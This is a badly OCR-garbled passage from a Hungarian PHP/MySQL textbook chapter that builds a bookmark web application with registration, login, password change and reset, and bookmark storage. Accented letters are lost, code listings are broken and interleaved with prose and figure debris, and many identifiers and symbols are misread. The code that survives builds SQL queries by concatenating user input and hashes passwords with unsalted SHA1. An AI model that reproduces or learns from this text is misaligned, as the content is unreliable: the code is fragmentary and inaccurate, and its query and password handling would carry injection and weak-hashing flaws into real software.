DELETE
27
root
-p
<
konyjelzok.sql
A rendszer krni fogja a jelsz begpelst. Ha az adatbzis ltrejtt, kszen llunk a folytatsra: ksztsk el az oldalt!
395
A nyitoldalltrehozsa
A:z. elskne elksztend oldal neve bejelentkezes.php, mert itt knljuk fel a felhasznlknak a rendszerbe bejelentkezs
html_lablec_letrehozas(); ?>
Nagyon egyszer kddal llunk szemben, mert tbbnyire csak az alkalmazshoz ltrehozand fggvny API (alkalmazs programozsi interfsz) fggvnyeit hvja meg. Rvidesen rszleeesen is megvizsgljuk ezeket a fggvnyeket. Erre a fjira rnzve azt lthatjuk, hogy beszr egy (a fggvnyeket tartalmaz) fjlt, majd ms fggvnyeket meghvva ltrehozza a HTML fejlcec, megjelenic valamilyen tartalmat, vgl pedig elkszti a HTML lblcet.
A kd ltal ellltott kimenetet a 27.3 brn ltjuk.
PHPbookmark
,;;:
lli:. l
ll Ezt a fjlt az sszes fjlba beilleszthetjk, ll gy mindegyik tartalmazni fogja fggvnyeinket s kivteleinket
require_once('adat_ellenorzo_fuggvenyek.php'); require_once('adatbazis_fuggvenyek.php'); require_once('felhasznaloi_hitelesites_fuggvenyek.php'); requre_once('kimeneti fuggvenyek.php'); require_once('url fuggvenyek.php'); ?>
Lthatjuk, hogy ez a fjl csupn troljul szolgl az alkalmazsban hasznland t msik beillesztett fjlnak. A:z.rt adtunk ilyen struktrt a projektnek, mert a fggvnyek jl elklnthet logikai csoportokba sorolhatk. Ezek kzl egyes fggvny csoportokat vlheten ms projektekben is kivlan felhasznlhatunk majd, ezrt kln llomnyokba pakoltuk, hogy ksbb
396
27. fejezet
knnyen megtallhassuk ket. Akonyvjelzo_fuggvenyek. php fjlt azrt hoztuk ltre, mert az t fggvnyfjl tbbs gt szinte mindegyik kdban hasznlni fogjuk. Egyszerbb ezt az egy fjlt beilleszteni a kdba,rnint rninden alkalommal t require utastst kiadni. Ebben a konkrt esetben a kimeneti_fuggvenyek. php fjl fggvnyeit hasznljuk. Mindegyik magtl rtetd fggvny, s viszonylag egyszer HMTL kimenetet eredmnyez. Ez a fjl tartalmazza azt a ngy fggvnyt ( html_fejlee_ letrehozasa(), oldal_info_megjelenitese(), bejelentkezesi_urlap_megjelenitese () s html_ lablec_letrehozasa ()),amit nhny tovbbival egyetemben a bejelentkezes. ph p fjlban fogunk hasznlni . Nem fogunk mind a ngy fggvnyen egyenknt vgigmenni,pldaknt nzzk meg rszletesen az egyiket! Ahtml_ fejlee_letrehozasa () fggvny kdjt a 27.4 pldakdban lthatjuk.
27.4
pldakd: A
{ font-family: Arial,
td
Helvetica,
font-family:
Arial,
Helvetica,
{ {
color:
color: #000000 l
<lstyle> <lhead> <body> <img src="konyvjelzo.gif" alt="PHPbookmark logo" border="O" align="left" valign="bottom" height="55" width="57" l> <hl>PHPbookmark<lhl> <hr l> <?php if($oldalcim) html focim($oldalcim);
Lthatjuk, hogy a html_fejlec_letrehozasa() fggvny egyetlen feladata, hogy megfelel cmer s lblcet adjon az oldalnak. Abejelentkezes. php fjlban hasznlt tovbbi fggvnyek ugyangy mkdnek. Az oldal_ info_megjelenit ese() fggvny nmi ltalnos szveget jelent meg az oldalrl, a bej elentkezesi_urlap_ megjelenitese () fggvny a 27.3 brn lthat szrke bejelentkezsi felletet hozza ltre, a html_lablec _ letrehozasa() fggvny lland HTML lblcet ad az oldalnak. A PHP s a MySQL hasznlata nagy projektekben cm 25. fejezetben mr sz esett arrl, milyen elnykkel jr az, ha a HTML elllrst elklntjk alkalmazsunk f mkdsi elvtL Ebben a projektben az AP I-s megkzeltst kvetjk. A 27.3 brra pillantva ltszik,hogy az oldalon hrom vlasztsi lehetsget knlunk fel: a felhasznl regisztrlhat,re gisztrlt felhasznlknt bejelentkezhet,illetve tllthatja jelszavr,amennyiben elfelejtette. Hogy elksztsk ezeket a modu lokat, a felhasznli hitelesrst megvalst rsszel kell folytatni munknkat.
27
Afelhasznli
hitelesrst megvalst modul ngy f elembl ll: felhasznlk regisztrlsa, be- s kijelentkezs, jelszvltoz tats s j jelsz krse. A most kvetkez oldalakon egyenknt is megvizsgljuk ezeket az elemeket.
397
Felhasznlk regisztrlsa
Ahhoz, hogy regisztrlni tudjunk egy felhasznlt, egy rlap segtsgvel be kell krni az adatait, majd be kell vinni az adat bzisba. Amikor a felhasznl a bejelentkezes.php oldal Mg nem tag? hivatkozsra kattint, a 27.5 pldakdban lthat
regisztracios_ur lap. php ltal ltrehozott regisztrcis felletre jut.
Megint csak egy nagyon egyszer kdot lrunk, ami semmi mst nem tesz, mint fggvnyeket hv meg a kimeneti_
fuggvenyek. php fjlban lv fggvnyknyvtrbL A 27.4 brn a kd ltal ltrehozott kimenetet lthatjuk.
27
398
27. fejezet
if (! kitoltott($
POST))
throw new Exception('Nem megfelelen tlttte ki az rlapot krjk, prblja meg jra!');
ll rvnytelen e-mail cm
if (1ervenyes_email($email)) throw new Exception('rvnytelen e-mail cm. Krjk, prblja meg jra!');
6)
ll
(strlen($jlsz) >
16))
ll munkamenet-vltoz regisztrlsa
$_SESSION['ervenyes felhasznalo']
=
$felhasznaloi nev;
a tagoknak fenntartott oldalainkra1 '; htm l_url letrehozasa('tag. php', 'Ugrs a tagok oldalra') ;
ll oldal befejezse
html lablec_letrehozasa();
?>
Ez ebben az alkalmazsban az els kd, ami valamennyire sszetermek nevezhet. Azzal indul, hogy beilleszti az alkalmazs fiiggvnyfjljait, majd elindt egy munkamenetet (session). (Regisztrlt felhasznl esetn munkamenet-vltzknt hozzuk
27
ltre felhasznli nevt, ahogy a Munkamenet-vezrls PHP-ben cm 23. fejezetben is tettk.) A kd rdemi rsze a try blokkba kerl, ahol tbb felttelt is ellenrznk. Ha ezek brmelyike nem teljesl, a vgrehajts a catch blokkba kerl (rvidesen ennek tartalmr is megvizsgljuk). Ezt kveten ellenrizzk a felhasznl ltal bevirt adatokat. Irt a kvetkezkrl kell meggyzdnnk:
399
Ezt a fggvnyt mi magunk rtuk, az; adat_ellenorzo_fuggvenyek. php fjl fggvnyknyvtrban helyezkedik el. Rvidesen rszletesebben is ttekintjk ezt a fggvnyt. A megadott e-mail cm rvnyes-e? Ezt a kvetkez utastssal ellenrizzk:
if (ervenyes_email($email))
az;
A felhasznl ltal megadort kt jelsz megegyezik-e egymssal? Ezt a kvetkez feltteles utastssal ellenrizhetjk:
if ($jlsz
$jlsz2)
az;
albbi urastsokkal:
6) 16)
az;
s
if ((strlen($jlsz) >
A pldban a jelsznak legalbb 6 karakter hossznak kell lennie, hogy ne lehessen tl knnyen kitallni, a felhasznli nvnek pedig 17 karakternl rvidebbnek kell lennie ahhoz, hogy befrjen hosszrl fggetlenl mindig 40 karakter hossz lesz. Az irt hasznlt adatellenrz fggvny a kitoltott ( ) s az ervenyes_email (),ami a 27.7, illetve a 27.8 pldakd ban lthat. 27.7 pldakd: Az adat_ellenorzo_fuggvenyek. php knyvtr kitoltott ()fggvnye- Ez afggvny ellenrzi, hogy
az rlap ki lett-e tltve
function kitoltott($urlap_valtozok)
maximlis mrett ily mdon nem korltozzuk! Nincs is rtelme, mert SHAl hashben troljuk, ami az; adott jelsz
{ > $ertek)
' ' ))
ll ellenrizzk,
ll
($ertek
==
return true;
return false;
A kitoltott ( ) fggvny vltozk tmbjt vrja paramterknt; ez ltalban a$_POST vagy a $_GET tmb lesz. Ellen rzi,hogy minden rlapmez ki van-e tltve; ha igen, akkor true, ellenkez esetben false rtker ad vissza. Az ervenyes_email() fggvny tr vissza.
az;
jezssel prbl meggyzdni az; e-mail cmek rvnyessgrL rvnyesnek tn cm esetn true, egybknt false rtkkel
27
400
27. fejezet
A felhasznli adatok ellenrzse utn megprblkozhatunk a felhasznl regisztrlsvaL Ha visszalapozunk a 27.6 plda
kdra, lthatjuk, hogy a kvetkezkppen tettk ezt:
regisztral($felhasznaloi_nev, $email, $jlsz);
ll munkamenet-vltoz regisztrlsa
$_SESSION['ervenyes felhasznalo'] = $felhasznaloi_nev;
ll oldal befejezse
html_lablec_letrehozasa();
A fenti kdbl ltszik, hogy a regisztral () fggvnyt a bevitt felhasznli nvvel, e-mail cmmel s jelszval hvjuk
meg. Ha meghvsa sikeres, a felhasznli nevet munkamenet-vltozknt rgztjk, s megjelentjk a felhasznlnak a tagok foldalra mutat hivatkozst. (Hiba esetn a fggvny kivtelt vlt ki, arnt a catch blokkban kezelnk.) A kd eredmnyt a 27.5 brn ltjuk.
......-
!jbol
......
_...."....
toMi
..
--:'t-:?
_. ---
27.5 bra: Sikeres regisztrci; aJelhasznlfolytathatja a bngszst a tagoknakfenntartott oldalon. A regisztral() fggvny a felhasznaloi_hitelesites _fuggvenyek. php nevbeillesztett knyvtrban tall
hat. A fggvny kdjt a 27.9 pldakdban lthatjuk.
ll j felhasznl regisztrlsa az adatbzisba ll true visszatrsi rtk vagy hibazenet ll kapcsolds az adatbzishoz
$kapcsolat = adatbazishoz kapcsolodas();
FROM felhasznala
WHERE felhasznaloi_nev='".$felhasznaloi_nev."'");
27
if
(! $eredmeny) {
throw new Exception('A lekrdezs nem hajthat vgre');
401
{
vlasszon msikat!');
felhasznli nv mr foglalt -
ll ha OK,
$eredmeny
tegye be az adatbzisba
=
if (! $eredmeny)
{
krjk, prblkezzon ksbb!');
return true;
Igazbl semmi jdonsg nincsen ebben a fggvnyben; egyszeren csatlakozik a korbban ltrehozott adatbzishoz. Ha a kivlasztott felhasznli nv mr foglalt, vagy az adatbzis nem frissthet, a kd kivtelt vlt ki. Minden ms esetben frissti az adatbzist, s true visszatrsi rtket ad. Figyeljk meg. hogy az adatbzishoz val tnyleges csatlakozst az ltalunk rt, adatbazishoz kapcsolodas () nev
_
fggvnnyel htjuk vgre. A fggvny nagy elnye, hogy egyeden helyen tartalmazza az adatbzishoz csatlakozshoz szksges felhasznli nevet s jelszt. Ez azt jelenti, hogy ha mdostjuk az adatbzis jelszavt, egyeden fjlt kell megvltoztaeni az alkal mazsunkban. Az adatbazishoz kapcsolodas () fggvnyt a 27.10 pldakdban lthatjuk.
_
{
'kj_felhasznalo', 'jelszo', 'konyvjelzok');
if (! $eredmeny)
return $eredmeny;
?>
A regisztrlt Felhasznlk a szoksos bejelentkezsi s Icijelentkezsi oldalon jelentkezhetnek be, illetve lphetnek ki. Ezeket a felleteket hozzuk ltre most.
Bejelentkezs
Ha a Felhasznlk megadjk adataikat a bej elentkezes.php ltal megjelentett rlapon (27.3 bra), s elkldik ket, a tag. php nev fjlba jutnak. A kd belpteti ket, s megjelenti a bejelentkezett Felhasznlk szmra relevns knyvjelz ket. Ez a kd ll az alkalmazs tbbi rsznek a kzppontjban. A kdot a 27.11 pldakd tartalmazza.
l'
27
402
27. fejezet
$ POST['felhasznaloi nev'];
$ POST['jlsz']; $jlsz)
if ($felhasznaloi_nev try
&&
ll megprblnak bejelentkezni {
$jlsz); regisztrljuk a felhasznli nevet $felhasznaloi_nev; bejelentkezes($felhasznaloi_nev, $_SESSION['ervenyes_felhasznalo'] catch(Exception $e)
ll ha megtallhatk az adatbzisban,
ll sikertelen bejelentkezs
html feJlee letrehozasa('Hba:'); echo 'Nem sikerlt bejelentkezni. Az oldal megtekintshez be kell jelentkeznie.'; html_url_letrehozasa('bejelentkezes.php', html lablec_letrehozasa(); exit; 'Bejelentkezs');
html_fejlec_letrehozasa('Kezdlap'); ervenyes_felhasznalo_ellenorzese();
felhasznaloi_url_megjelenitese($url tomb);
ll menlehetsgek megjelentse
felhasznaloi_menu_megjelenitese(); html lablec_letrehozasa(); ?>
A tag . php kd mkdsi logikja ismers lehet szmunkra: rszben a 23. fejezetben megismert elemeket hasznlja fel
jra. Elszr is ellenrizzk, hogy a felhasznl a nyitoldalrl jtt-e - vagyis majd megprbljuk belptetni:
f ($felhasznaloi nev try {
&& az
$jlsz)
ll megprblnak bejelentkezni
27
ll ha megtallhatk az adatbzisban,
403
Ha a felhasznl sikeresen bejelentkezett,a korbbiakhoz hasonlan most is feljegyezzk a munkamenetet. Ennek rdek ben az ervenyes_felhasznalo munkamenet-vltozban eltroljuk a felhasznli nevt. Ha minden jl megy,ezt kveten a tagoknak fenntartott oldalt jelentjk meg a felhasznlnak:
html_fejlec_letrehozasa('Kezdlap'); ervenyes_felhasznalo_ellenorzese();
felhasznaloi_url_lekerdezese($_SESSION['ervenyes felhasznalo']))
felhasznaloi_url_megjelenitese($url_tomb);
ll menlehetsgek megjelenitse
felhasznaloi_menu_megjelenitese();
html_lablec_letrehozasa();
Ezt az oldalt is kimeneti fggvnyek segtsgvel hozzuk ltre. Figyeljk meg, hogy az oldal tovbbi fggvnyeket is hasznl:
a
fuggvenyek. php knyvtr felhasznaloi_url_lekerdezese (),illetve a kimeneti_fuggvenyek. php knyvtr felhasznaloi_url_megjelenitese () fggvnyt. Az ervenyes_felhasznalo_ellenorzese () fggvny
azt
ellenrzi,hogy az aktulis felhasznlhoz regisztrltunk-e munkamenetet. Ez az olyan felhasznlk miatt szksges, akik nem pp az imnt jelentkeztek be,hanem pont a munkamenet kzepn jrnak. A felhasznaloi_url_lekerdezese ( ) fggvny lekrdezi az adatbzisbl az adott felhasznl knyvjelzit,
a
felhas znaloi_url_ megjeleni tese ( ) pedig egy tblzatban megjelenti azokat a bngszben. Rgtn rszletesen is
megvizsgljuk az ervenyes_felhasznalo_ellenorzese() fggvnyt, a msik kettvel pedig a knyvjelzk trolsnl s visszakeressnl foglalkozunk majd. A tag. php kd a felhasznaloi_menu_megjelenitese() fggvny segtsgvel megjelenti a ment, s ezzel zrja
az
oldalt. A 27.6 brn egy, a tag. php fjl ltal ltrehozott mintaoldal lthat.
lt.ll ,..._
Kezd61p
....
! :;
PHPbookmark
"*'"" ....
-.i.t-=.
IIII.I.JIIMMI ---
27.6 bra: A tag. php kd meggyzdik rla, hogy a felhasznl bejelentkezett-e, visszakeresi s megjelenti knyvjelzit,
majd a men megjelentsvel vlasztsi lehetsget ad neki a bngszs folytatsra. Vizsgljuk meg most kicsit kzelebbrl a bejelentkezes() s az ervenyes_felhasznalo _ellenorzese() fgg vnyt! A bejelentkezes() fggvnyt a 27.12 pldakdban lthatjuk.
27.12 pldakd: A felhasznaloi _hitelesites_fuggvenyek. php knyvtr bejelentkezes() fggvnye- A fgg
27
404
27. fejezet
ll egybknt kivtelt vlt ki ll kapcsolds az adatbzishoz $kapcsolat = adatbazishoz kapcsolodas(); ll felhasznli nv egyedisgnek ellenrzse $eredmeny
=
Ahogy a kd mutaga, a bejelentkezes () fggvny kapcsoldik az adatbzishoz, s ellenrzi, hogy megtallhat-e ab ban a megadorr felhasznli nv s jelsz kombinci. Ha igen, akkor true rtkkel tr vissza, ha pedig nem, vagy a felhasz nli azonostkat nem sikerl ellenrizni, akkor kivtelt vlt ki. Az ervenyes_felhasznalo_ellenorzese () fggvny nem kapcsoldik jra az adatbzishoz, ehelyett azt nzi meg, hogy a felhasznl rendelkezik-e regisztrlt munkamenerrel- vagyis belpett-e mr. Ezt a fggvnyt a 27.13 pldakd tartalmazza. 27.13 pldakd: A felhasznaloi_hi telesites_fuggvenyek.php knyvtr ervenyes_felhasznalo_
ellenorzese ()fggvnye- Afggvny azt ellenrzi, rendelkezik-e afelhasznl rvnyes munkamenettel function ervenyes felhasznalo_ellenorzese () ll ellenrizzk,
{
s rtestsk, ha nem!
ll nincsenek bejelentkezve html focim_letrehozasa('Hiba: '); echo 'Nincs bejelentkezve.<br l>'; html_url_letrehozasa('bejelentkezes.php', html lablec_letrehozasa(); exit; 'Bejelentkezs');
Ha a felhasznl nincs bejelentkezve, a fggvny kzli vele, hogy az oldal megtekintshez be kell jelentkeznie, s felkinlja neki a belpsi oldalra mutat hivatkozst.
Kijelentkezs
27
A 27.6 brn lthat menben szrevehettk a Kijelentkezs felirat hivatkozst, amely a kijelentkezes.ph p kdra mutat. Ennek a fjlnak a kdjt a 27.14 pldakd tartalmazza.
405
ll az alkalmazs fggvnyfjljainak beillesztse require_once('konyvjelzo fuggvenyek.php'); session_start(); $korabbi felhasznala ; $ SESSION['ervenyes felhasznalo']; ll eltroljuk, hogy megllapthassuk, be voltak-e jelentkezve
unset($_SESSION['ervenyes_felhasznalo']); $eredmeny_megsemmisit
=
session_destroy();
{
de most mr kijelentkeztek 'Bejelentkezs');
ll ha be voltak jelentkezve,
echo 'Kijelentkezve.<br l>';
{
gy kijelentkezni sem tud.<br />'; 'Bejelentkezs');
az az
Jelszvltoztats
Ha a felhasznl a men Jelszvltoztats hivatkozsra kattint, a 27.7 brn lthat rlap jelenik meg bngszjben.
1{_
EN ....----. o" ..
..:-;;.;.;.;..;...;:;.;:..;::-=
:._.: t::Jl
PHPbookmark
Jelsz megvaltozutoisa
.. - ....... _
. . Ir.:. ....,
l!iaalllll -----
27
27.7 bra: A jelsze_valtoztatas_urlap. php
406
27. fejezet
Az rlapot a jelszo_valtoztatas_urlap.php kd lltja el. Ez nyeit hasznlja fel, gy rszleeesebben mosc nem foglalkozunk vele.
az
Az rlap elkldsvel a 27.15 pldakdban lthat jelszo_valtoztatas. php kdot hvjuk meg.
27.15 pldakd: jelszo_valtoztatas.php-A
<?php require once('konyvjelzo_fuggvenyek.php'}; session start(}; html feJlee letrehozasa('Jelszvltoztats'};
$_POST['elozo_jlsz');
try
{
Krjk, prblja meg jra!'};
if
($uj jlsz
!= $uj_jlsz2}
throw new Exception('Az j jelszk nem egyeznek meg. A jelszvltoztats nem trtnt meg.};
l l
throw new Exception('Az j jelsz hossznak 6 s 16 karakter kz kell esnie. Prblja meg jra!'};
ll prblkozs a jelszvltoztatsra
jelszo_valtoztatas($ SESSION['ervenyes felhasznalo'), echo 'A jelszt megvltoztattuk. '; $elozo jlsz, $uj jlsz};
echo $e->getMessage(};
A fenti kd
az
jelentkezve, a kitoltott (} fggvny hasznlatval meggyzdik arrl, hogy kitlttte-e a jelsz-vltoztarsi rlapot, illetve ellenrzi, hogy a felhasznl mindktszer ugyanazt adta-e meg j jelszknt, s ez az j jelsz megfelel hosszsg-e. Ezek
27
egyike sem jdonsg szmunkra. Ha minden jl megy, a kd meghvja a jelszo_val toztatas (} fggvnyt az albbi for mban:
Jelszo_valtoztatas($_SESSION['ervenyes felhasznalo'), echo 'A jelszt megvltoztattuk.'; $elozo_jlsz, $uj_jlsz};
407
27.16 pldakd: A felhas znaloi_hitelesites_fuggvenyek.php knyvtr jelszo_valtoztatas () fggvnye A fggvny mdoslja az adatbzisban a Jelhasznl jelszavt
function jelszo_valtoztatas($felhasznaloi_nev, $elozo jelszo, $uj_jelszo)
ll az adott felhasznli nvhez tartoz jelsz megvltoztatsalelozo_jelszo -> uj_jelszo ll visszatrsi rtke true vagy false ll ha az elz jelsz rendben van, ll cserlje a jelszt uj_Jelszo-ra, s trjen vissza true rtkkel!
ll eltr esetben vltson ki kivtelt! bejelentkezes($felhasznaloi_nev, $elozo_jelszo); $kapcsolat = adatbazishoz_kapcsolodas(); $eredmeny = $kapcsolat->query("UPDATE felhasznala SET jlsz=shal('".$UJ if (!$eredmeny) else jelszo."') '".$felhasznaloi_nev."'"); WHERE felhasznaloi nev =
{
ll sikeresen megvltoztatva
return true;
A fggvny a korbban mr megismert bejelentkezes( ) fggvny segtsgvel ellenrzi, hogy a felhasznl ltal meg adott elz jelsz helyes volt-e. Amennyiben igen, a fggvny csatlakozik az adatbzishoz, s az j rtknek megfelelen m dostja a jelszt.
amely pontosan az ilyen helyzetbe kerl felhasznJk miatt szerepel ott. A hivatkozs az elfelejtett_urlap. php nev kdhoz viszi a felhasznlt, ami a kimeneti fggvnyek hasznlatval megjelenti a 27.8 brn lthat rlapot.
_!?= ",
PHPbookmark Jetsz viaazaiHtasa
--
. -v::J;-1!:
=-i..
27.8 bra: Az elfelejtett_urlap.php kd ltal megjelentett rlapon a Jelhasznlk jjelszt krhetnek, amit elkldnk nekik.
Az elfelejtett_urlap. php kd rendkvl egyszer- pusztn csak a kimeneti fggvnyeket hasznlja-, ezrt rszle resen nem is foglalkozunk vele. Az rlap elkldse az elfelejtett_jelszo.php kdot hvja meg, ami mr sokkal rdeke sebb szmunkra. A kdot a 27.17 pldakd tartalmazza.
27
408
27.fezet
e-mailben
<?php require_once("konyvjelzo fuggvenyek.php"); html fejlee letrehozasa("Jelsz tllitsa");
try
{
=
$jelszo
jelszo_ertesites($felhasznaloi_nev, echo
catch (Exception $e) echo 'Jelszavt nem lehetett tllitani - krjk, prblja meg ksbb!';
'Bejelentkezs');
Lthatjuk, hogy a kd kt fontos fggvny segtsgvel ltja el feladatt. Ez a kt fggvny a jelsz o_a tallitasa () s a jelszo_ertesites(). Vizsgljuk meg ezeket egyenknt!
A jelszo_atallitasa() fggvny vletlenszer jelszt llt el a felhasznl szmra, majd eltrolja az adatbzisban. A fggvny kdjt a 27.18 pldakd tartalmazza.
function Jelszo atallitasa($felhasznaloi nev) ll a felhasznli nvhez tartoz jelsz vletlenszer rtkre llitsa ll visszatrsi rtke az j jelsz, hiba esetn false
13);
ll adjunk hozz egy O s 999 kztti szmot, ll hogy valamivel biztonsgosabb legyen a jelsz! $veletlen szam = rand(O, $uj jelszo
.=
999);
$veletlen szam;
ll a felhasznl jelszavnak bellitsa az adatbzisban ll hiba esetn false visszatrsi rtk $kapcsolat = adatbazishoz_kapcsolodas(); $eredmeny
=
27
{
ll nincs megvltoztatva
l else {
409
return $uj_jelszo;
ll sikeresen megvltoztatva
A jelszo_atallitasa() fggvny vletlenszer jelszt llt el gy, hogy a veletlen_szo_eloallitasa() fgg vny segtsgvel vletlenszeren keres egy szt a sztrban, majd egy O s 999 kztti vletlen szmot rak a vgre. A 27.19 pldakdban lthat veletlen_szo_eloallitasa () fggvnyt is a felhasznalc _hitelesites_fuggvenyek.
php knyvtrban talljuk.
fggvnye
function veletlen_szo_eloallitasa($min_hossz,
ll a kt hosszsgi rtk kz es sz vletlen kivlasztsa a sztrbl ll ez a sz a fggvny visszatrsi rtke ll a sz vletlenszerv ttele Sszo
= '
';
'hungarian.txt'; 'r');
ll az ispell sztr
@fopen($szotar,
if(!$fp)
return false;
$meret
filesize($szotar);
rand(O,
$meret);
$veletlen_hely);
megfelel hosszsg,
teljes szt!
$min_hossz)
l l
(strlen($szo)>$max_hossz)
l l
if (feof($fp)) fseek($fp,
0);
ll ha a vgn vagyunk,
ugorjunk az elejre!
fgets($fp, fgets($fp,
80); 80);
trim($szo);
ll a trim fggvnnyel tiszttsuk meg az fgets-bl rkez llszt az esetlegesen hatrol szkz- s sor vge jelektl!
return $szo;
A veletlen_szo_eloallitasa() fggvny mkdshez sztrra van szksg. Ha Unix rendszerr hasznlunk, az ispel! beptett helyesrs-ellenrzhz tartozik egy sztr, ami jellemzen a lus rldict l wor ds vagy a lusrlsharel
dictlwords elrsi tvonalon tallhat. Jelen esetben
az
Akkor sincs ok az aggodalomra, ha msrnlyen rendszert hasznlunk, vagy nem szetetnnk telepteni az ispellt. Az ispel! ltal hasznlt szlista letlthet a http://wordlist.sourceforge.net/ oldalrl. Az oldalon ms nyelv sztrakat is tallunk, gy ha - mondjuk - norvg vagy eszperant nyelven van szksgnk a vletlenszeren kivlasztott szavakra, akkor ezeket a sztrakat kell letltennk. Ezek a fjlok soronknt egy-egy szt tartalmaznak, a sorok pedig jsor karakterekkel vannak elvlasztva egymstl. Ha vletlenszeren szetetnnk kivlasztani
27
410
27. fejezet
ebbl a fjlbl egy szt, hatrozzunk meg egy pontot a O s a fjlmret kzrr, s onnan olvassuk ki a fjl adatt! Ha ettl a vletlenszeren meghatrozott ponttl a kvetkez j sorig olvasunk, akkor nagy valsznsggel tredkszt kapunk, ezrt az fgets () fggvny ktszeri meghvsval hagyjuk ki azt a sort, amelynl megnyitottuk a fjlt, s az azt kvet sorban lv szt vlasszuk ki! A fggvny kt apr trkkt hasznl. Az els, hogy ha keress kzben elrjk a fjl vgt, visszaugrunk az elejre:
if (feof($fp)) fseek($fp,
{ ll ha a vgn vagyunk,
ugorjunk az elejre!
0);
A msodik, hogy lehetsget ad meghatrozott hosszsg sz keressre: a sztrbl kivlasztott minden szt ellenr znk, s ha hossza nem a $min_hossz s $max_hossz rtk kz esik, akkor folytatjuk a keresst. Az aposztrfot tartalma z szavakat is kihagyjuk. Ugyan a sz hasznlatakor vdkarakterrel lthatnnk el az aposztrfot, sokkal knnyebb egyszeren a kvetkez szt vlasztani. Visszatrve a jelszo_atallitasa() fggvnyre, az j jelsz ellltsa utn azt eltroland mdostjuk az adatbzist, s az j jelszval trnk vissza f kdunkhoz. Majd ezt
az
elkldi azt e-mailben a felhasznlnak. A jelszo_ertesites ()fggvnyt a 27.20 pldakdban lthatjuk. 27.20 pldakd: A felhasznaloi _hitelesites_fuggvenyek.php A fggvny
ll rtesti a felhasznlt,
$kapcsolat = adatbazishoz kapcsolodas(); $eredmeny = $kapcsolat->query("SELECT email FROM felhasznala WHERE felhasznaloi_nev='".$felhasznaloi_nev."'"); if
(! $eredmeny) {
else if ($eredmeny->num_rows == 0)
Ha megvan a felhasznli nv s az j jelsz, a jelszo_ertesites() fggvnnyel egyszeren kikeressk az adatbzisbl a felhasznl e-mail cmt, majd a PHP mail () fggvnye segtsgvel elkldjk oda. Biztonsgosabb lenne a felhasznlknak valban vletlenszer, kis- s nagyberk, szmok s rsjelek tetszleges kombin cijbl ll jelszt adni, mint egy vletlenszeren kivlasztott sz s szm kombincijt. A felhasznlk szmra azonban a teljes mrtkben vletlenszer jelszavaknl knnyebben olvashat s kezelhet egy olyan, mint amilyen a cikkcakk 4 8 7.
27
A vletlenszer karakterlncokban sok esetben problms a felhasznlknak megllaptani, hogy O (nulla) vagy (egy) vagy l (kis L) szerepel.
O (nagy O), l
A rendszernkn lv sztrfjl krlbell 45 OOO szt tartalmaz. Ha egy cracker rudn, hogy milyen algoritmussal lltor tuk el a jelszavakat, s mg egy felhasznli nevet is ismerne, akkor is tlagosan 22 500 OOO jelszt kellene kiprblnia ahhoz,
411
az
igazit. Egy ilyen jelleg alkalmazsnl megfelelnek tnik ez a szint biztonsg, s ez mg akkor is igaz, ha
a felhasznl figyelmen kvl hagyja az e-mailben szerepl tancsunkat, amiben az ltalunk elkldtt jelsz megvltoztatsra
Knyvjelzk hozzadsa
A felhasznJk az oldal aljn lthat men KJ hozzadsa hivatkozsra kattintva vehemek fel j knyvjelzket. A linkre kattintva a 27.9 brn lthat rlaphoz jutnak.
- - -- - s::r ; 7 ;!
PHPbookmark KOnyvjelz6tl: hou.iadasa ..---
__,..,.,_
{ {
ervenyes_felhasznalo_ellenorzese(); if (!kitoltott($ POST)) throw new Exception('Az rlap nincs teljesen kitltve.');
'http:ll'.$uj_url;
412
27.fgezet
ll a felhasznl ltal elmentett knyvjelzk lekrse if ($url tomb = felhasznaloi_url_lekerdezese($_SESSION['ervenyes felhasznalo'])) felhasznaloi_url_megjelenitese($url_tomb);
echo $e->getMessage();
Ez a kd is a felhasznli adat ellenrzse - adatbzisban eltrolsa - kimenet ksztse smt kveti. Az ellenrzs rdekben elszr is arrl kell a kitoltott () fggvny segtsgvel meggyzdni, hogy a felhasznl kitl ttte-e az rlapot. Ezt kveten az URL-t ellenrizzk kt szempontbL Elszr az strstr () fggvnnyel megnzzk, hogy
http: ll-vel kezddik-e. Amennyiben nem, hozzadjuk azt az URL-hez. Ha ezzel megvagyunk, ellenrizzk, hogy az URL
valban ltezik-e. A Hlzati s protokollfggvnyek hasznlata cm 20. fejezetbl emlkezhetnk, hogy az fopen () fggvny nyel nyithatunk meg http: ll-vel kezdd URL-eket. Ha meg tudjuk nyitni
az az
URL rvnyes, s a kj_hozzaadasa () fggvnyt meghvva hozzadjuk az adatbzishoz. Ezt s a knyvjelzkkel kapcsolatos tbbi fggvnyt
az
27.22 pldakd: Az url_ fuggvenyek. php knyvtr kj_hozzaadasa() fggvnye- A fggvny j knyvjelzket ad az
adatbzishoz
function kj_hozzaadasa ($uj_url)
$ SESSION['ervenyes felhasznalo'];
ll ellenrizzk,
$eredmeny = $kapcsolat->query("SELECT
FROM konyvjelzo
27
ll j knyvjelz hozzadsa az adatbzishoz if (!$kapcsolat->query("INSERT INTO 'konyvjelzo' ( 'felhasznalo1_nev' VALUES ('".$ervenyes_felhasznalo."', , 'kj URL' )
'".$uj url."');"))
413
return true;
A kj_hozzaadasa() fggvny viszonylag egyszer. Ellenrzi, hogy az adatbzisban a felhasznlnl nem szerepel-e mr ugyanez a knyvjelz. (Br nem valszn, hogy a felhasznJk ktszer felvinnnek egy knyvjelzt, az lehetsges, st valsz n, hogy frissthetik
az
az
adatbzisba.
Visszatrve a kj_hozzaad.php kdhoz, lthatjuk, hogy utols lpse ugyanaz, mint a tag.ph p fjlnak: a felhasznaloi _url_lekerdezese () s a felhasznaloi _url_megjeleni tese () fggvny meghvsa. A kvetke zkben ezt a kt fggvnyt vizsgljuk meg.
Knyvjelzk megjelentse
A tag. php kd s a kj_hozzaadasa() fggvny is hasznlja a felhasznaloi_url_lekerdezese () s a felhasznaloi_url_megjeleni t ese () fggvnyt. Ezek kikeresik az adatbzisbl, illetve megjelentik a felhasznl knyvjelzit. A felhasznaloi _url_lekerdezese () fggvny az url_fuggvenyek. php, a felhasznaloi_url_
megjelenitese ( ) fggvny pedig a kimeneti_ fuggvenyek.php knyvtrban tallhat.
A felhasznaloi_url_lekerdezese() fggvnyt a 27.23 pldakd mutatja. 27.23 pldakd: Az url_ fuggvenyek. ph p knyvtr felhasznaloi _url_lekerdezese ()fggvnye- Afggvny kikeresi az adatbzisbl afelhasznl knyvjelzit
function felhasznaloi_url_lekerdezese($felhasznaloi_nev)
(! $eredmeny)
return false;
++$szamlalo)
$url_tomb[$szamlalo]
$sor[0];
return $url_tomb;
